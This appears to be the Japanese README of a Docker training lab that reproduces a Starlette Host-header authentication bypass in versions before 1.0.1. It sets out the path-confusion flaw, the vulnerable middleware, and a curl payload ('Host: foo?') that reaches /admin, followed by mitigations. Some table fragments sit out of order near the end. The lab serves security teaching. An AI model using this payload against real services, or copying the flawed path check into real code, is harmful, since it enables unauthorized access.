X41 D-Sec が公開した Starlette 認証バイパス脆弱性を再現する、自己完結型のコンテナ化されたトレーニングラボです。
>= 0.8.3, < 1.0.1 (ラボでは 0.37.2 に固定)1.0.1⚠️ 認可されたセキュリティトレーニング専用です。 このアプリは意図的に脆弱です。到達可能なネットワークにデプロイしないでください。
Starlette は生の ASGI scope["path"] を使用してリクエストをルートにディスパッチしますが、request.url はクライアントから提供された Host ヘッダーを "{scheme}://{host}{path}" に文字列フォーマットして再構築します — RFC 9112 §3.2 に従った Host ヘッダーの検証を行いません。URL メタ文字(?、/、#)がそのまま許可されるため、攻撃者は 再構築された パスを ルーティングされた パスと異なるものにすることができます。request.url.path に対して記述されたセキュリティチェックは、ルーターが保護されたハンドラーに到達している間、騙される可能性があります。
脆弱なミドルウェアは、request.url.path が / または空の場合にのみリクエストを許可します:
if request.url.path in ("/", ""):
return await call_next(request) # allowed
return PlainTextResponse("Forbidden", status_code=403)
GET /admin に対して Host: foo? を送信する:
| コンポーネント | 使用される値 |
|---|---|
ルーター (scope["path"]) |
? はその後のすべてを クエリ文字列 に変えるため、解析されたパスは空になります。認証は空のパスを確認して通過させ、ルーターは依然として /admin を提供します。バイパス成功。
Docker + Docker Compose が必要です。
docker compose up --build
2 つのサービスが起動します:
| サービス | URL | 動作 |
|---|---|---|
vulnerable | http://localhost:8000 | バイパス可能 |
fixed | http://localhost:8001 | 緩和済み(2 つの方法) |
# Blocked normally:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
ガイド付き PoC スクリプトを実行:
./exploit/exploit.sh # attacks :8000 (succeeds)
./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed)
脆弱な /admin ハンドラーは、混乱を可視化する JSON ボディを返します — scope_path と reconstructed_path が一致しないことに注目:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
fixed/fixed_app.py を参照。2 つの独立した緩和策:
request.url.path ではなく、ルーターが使用する生のパスである request.scope["path"] で認証判断を行う。TrustedHostMiddleware は、アプリケーションロジックが実行される前に、予期しない/不正な形式の Host ヘッダーを拒否します。これは RFC 準拠のリバースプロキシ(nginx/Apache)が上流で行うことを反映しています。実際の修正は、単に Starlette ≥ 1.0.1 にアップグレードする ことです。これにより、URL 再構築時に Host ヘッダーが検証されます。
redirect_uri、キャッシュキー、Host から構築されるパスワードリセットリンク)/admin)をブロックする」がなぜここでは脆弱なのでしょうか?ルーティングが大文字小文字を区別しない場合や、末尾のスラッシュリダイレクトがある場合はどうなるでしょうか?0.0.0.0-day)starlette-host-header-lab/
├── app/vulnerable_app.py # the deliberately vulnerable service
├── fixed/fixed_app.py # mitigated service for comparison
├── exploit/exploit.sh # guided proof-of-concept
├── requirements.txt # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
/admin → admin() をディスパッチ |
request.url | http://foo?/admin |
request.url.path | "" → 認証チェックを通過 ✅ |